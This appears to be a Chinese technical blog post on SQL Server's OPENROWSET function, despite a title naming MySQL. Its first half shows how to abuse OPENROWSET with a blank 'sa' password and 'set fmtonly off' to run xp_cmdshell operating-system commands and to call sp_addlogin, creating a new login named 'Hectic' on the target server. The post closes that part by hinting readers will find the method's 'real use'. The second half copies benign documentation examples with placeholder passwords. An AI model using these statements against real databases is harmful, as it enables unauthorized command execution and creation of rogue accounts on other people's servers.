mysql select from openrowset_openrowset 的用法

利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下:

select * from openrowset('sqloledb','myserver';'sa';'','select * from table')

可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。

那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!

select * from openrowset('sqloledb','server';'sa';'','set fmtonly off

exec master.dbo.xp_cmdshel l ''dir c:\''')

必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。

那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作:

select * from openrowset('sqloledb','server';'sa';'','select ''OK!''

exec master.dbo.sp_addlogin Hectic')

这样,命令至少会返回select OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧。

示例A. 将OPENROWSET与 SELECT 语句及用于 SQL Server 的 Microsoft OLE DB 提供程序一起使用

下面的示例使用用于 SQL Server 的 Microsoft OLE DB 提供程序访问pubs数据库中的authors表,该数据库在一个名为seattle1的远程服务器上。从datasource、user_id及password中初始化提供程序,并且使用 SELECT 语句定义返回的行集。USE pubs

GO

SELECT a.*

FROMOPENROWSET('SQLOLEDB','seattle1';'sa';'MyPass',

'SELECT * FROM pubs.dbo.authors ORDER BY au_lname, au_fname') AS a

GOB. 将OPENROWSET与对象及用于 ODBC 的 OLE DB 提供程序一起使用

下面的示例使用用于 ODBC 的 OLE DB 提供程序以及 SQL Server ODBC 驱动程序访问pubs数据库中的authors表,该数据库在一个名为seattle1的远程服务器中。提供程序用在 ODBC 提供程序所用的 ODBC 语法中指定的provider_string进行初始化,定义返回的行集时使用catalog.schema.object语法。USE pubs

GO

SELECT a.*

FROMOPENROWSET('MSDASQL',

'DRIVER={SQL Server};SERVER=seattle1;UID=sa;PWD=MyPass',

pubs.dbo.authors) AS a

ORDER BY a.au_lname, a.au_fname

GOC. 使用用于 Jet 的 Microsoft OLE DB 提供程序

下面的示例通过用于 Jet 的 Microsoft OLE DB 提供程序访问 Microsoft AccessNorthwind数据库中的orders表。

说明  下面的示例假定已经安装了 Access。

USE pubs

GO

SELECT a.*

FROMOPENROWSET('Microsoft.Jet.OLEDB.4.0',

'c:\MSOffice\Access\Samples\northwind.mdb';'admin';'mypwd', Orders)

AS a

GOD. 使用OPENROWSET和 INNER JOIN 中的另一个表

下面的示例从本地 SQL ServerNorthwind数据库的customers表中,以及存储在相同计算机上 AccessNorthwind数据库的orders表中选择所有数据

说明  下面的示例假定已经安装了 Access。

USE pubs

GO

SELECT c.*, o.*

FROM Northwind.dbo.Customers AS c INNER JOINOPENROWSET('Microsoft.Jet.OLEDB.4.0',

'c:\MSOffice\Access\Samples\northwind.mdb';'admin';'mypwd', Orders)

AS o

ON c.CustomerID = o.CustomerID

GO

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值